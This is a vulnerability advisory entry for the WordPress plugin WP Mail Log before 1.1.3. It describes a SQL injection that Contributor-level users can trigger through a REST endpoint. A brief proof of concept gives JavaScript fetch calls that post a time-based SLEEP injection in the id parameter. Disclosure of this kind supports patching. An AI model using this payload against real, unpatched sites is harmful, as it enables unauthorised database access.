WordPress Plugin Vulnerabilities

WP Mail Log < 1.1.3 – Contributor+ SQL Injection in wml_logs/send_mail endpoint

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as Contributor.

Proof of Concept

Run the following within any page on the site. Notice that the request is delayed by the SLEEP call in the injected SQL.

var nonce = await (await fetch('/wp-admin/admin-ajax.php?action=rest-nonce')).text();

await (await fetch('/wp-json/wml/v1/wml_logs/send_mail', {method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded', 'X-WP-Nonce': nonce}, body: 'id=(SELECT IF (1=1,SLEEP(10),1))&to_email=send@example.com'})).text();

Affects Plugins

Fixed in 1.1.3

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
dc11
Submitter
dc11
Verified
Yes

Timeline

Publicly Published
2023-11-28 (about 7 months ago)
Added
2023-11-28 (about 7 months ago)
Last Updated
2023-11-28 (about 7 months ago)

Other